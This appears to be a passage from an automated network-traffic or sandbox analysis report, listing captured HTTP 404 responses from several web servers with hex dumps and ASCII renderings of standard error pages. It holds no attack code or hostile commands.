72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:10 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:13 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:15 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 06 Dec 2024 16:37:23 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6693de8b-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 06 Dec 2024 16:37:25 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6693de8b-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 06 Dec 2024 16:37:28 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6693de8b-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 06 Dec 2024 16:37:31 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6693de8b-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:38 GMTServer: Apache/2Content-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:41 GMTServer: Apache/2Content-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:43 GMTServer: Apache/2Content-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:37:46 GMTServer: Apache/2Content-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:38:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrbAJGBPqSekiNFNlLHlkWggZwRIBoCZeboYSGLKT88GqdIjBLj%2FtoG0oehOD2Hr%2BwCtriyKTCpNk2kTYGYqwJl4YFKnBBfY6aAe2pugIwxlTEwg7WsA7rLiYXnQl1nJ2rpoRfTjj9w%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8eddb557eba0426a-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1756&rtt_var=878&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=793&delivery_rate=0&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:38:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncRbJFQ0QFw%2BWH%2BDc0YIPq1OEGnzWQe%2BG%2BfsfdF57MPZpn6DMs81OjFhSkXissxUlPxwmIZIq%2FHuwb%2BQ9vyeVe4PTmssyDbl49YxPRY9Z2wb0PTfNw4uMpv6BA%2FBGVsr%2BBalXs7PsfY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8eddb5689e41f78f-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1659&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=813&delivery_rate=0&cwnd=135&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:38:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klTNJjBKBRcyfJIazy2jYLVA0hRfmQr4XFeXLNL%2FP2eSQRU9lEJID8mbAMkExn3sZ71P%2FfDl3RsR1bjUcyxVKV%2FniUxWWLu5KGQBt5ae4r3V73kgWWqi1ml%2BOGhqUJNQB3oX9zj4a%2F4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8eddb5798d5fef9f-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=29696&min_rtt=29696&rtt_var=14848&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1826&delivery_rate=0&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:38:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xUKvpOayw%2FbaN0zwn70sunYJryCSswQyyAn3CKPqEpaf3Tjq7Iupbufkoy1HRwY8rJM60Vi4bseWikiCm6QPe1uPnUS0QDp0pR0uo%2BiZsXAgHAzolQ%2FlbCHY50gpkaRj1YnVU%2BjYoKk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8eddb589f82842da-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1708&rtt_var=854&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=519&delivery_rate=0&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 06 Dec 2024 16:39:03 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 15183Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 08 21 cb 4d c7 a4 2a 2f 27 d9 94 36 98 b0 a0 25 b3 d0 20 76 9e a3 b2 2c cf 05 0f 99 e5 4a 76 b5 31 bf bb cf 04 5e b9 96 93 06 f9 42 b3 bf 15 6a 4c be 03 88 1a 55 a3 46 6a 6d 6e fc 03 ed ba 31 66 76 1b af d6 94 44 80 82 66 b8 ab df fe 55 73 65 4e 23 81 15 ae c4 6c b3 31 a1 e6 b9 bd 3d 9b 71 19 a9 59 e7 fd 2c 87 4c 7d e0 3f 82 b5 5c 26 86 4c c8 a2 11 30 03 7f d5 a2 e1 2f f1 7f e9 fe d2 35 9d 59 47 e9 e4 97 6e 69 13 f3 0b 82 6b f8 a5 5b 16 ff d2 ed 8d 3a 5e 67 f0 4b f7 b2 7f 7f d9 ff a5 db 68 37 e0 de 62 7d 27 97 09 be 98 69 f2 32 3c 2c 2c d1 f0 f7 db 0a 10 4f ee 5d 15 3a 84 86 bf 68 a0 3f 50 c0 b2 6c 89 5f c2 d7 0a f2 4b 77 96 a3 1f 43 51 44 ae e3 07 53 06 ca 5a 8a 0b 02 1c bb 93 71 d9 f9 60 7e 3f 05 3d b9 e8 5c 76 7a 8d 87 87 f1 59 f7 cb b7 e4 a7 94 1b 12 73 01 04 7f 9d d3 69 02 12 34 f6 8e c8 97 dd b3 b7 71 21 43 b7 c8 26 6f cb d6 62 ca 34 51 6d d3 86 f1 2a 4e c2 26 b4 16 56 cf cb 3b 3b 59 98 22 cf 95 b6 3f 81 b1 c6 87 b6 e5 19 9e 58 96 fb 4d 09 33 f2 0d 02 b7 3a 53 26 0a f8 21 6e b6 1e c6 06 8c 41 98 1f ad d2 28 58 c7 80 fd 1e c7 6e aa f6 7f f9 f1 87 7f ea 18 ab 71 7d 3c 9e 37 6d ab f5 80 8a 84 a9 6b f7 f0 b0 6e 9f 37 b1 87 a3 06 9d 10 47 d5 7f 81 d0 36 bd b6 d7 c6 77 26 a7 0c 17 c2 23 9b 6e 5e 53 e0 49 6a 5b 18 c0 a9 c5 4f b8 d0 a6 c5 74 af 35 ae 06 70 2c ff ca a5 1d f4 bf d2 9a cd 9b d0 49 90 93 db 26 72 67 a7 40 77 22 4c 6c Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ
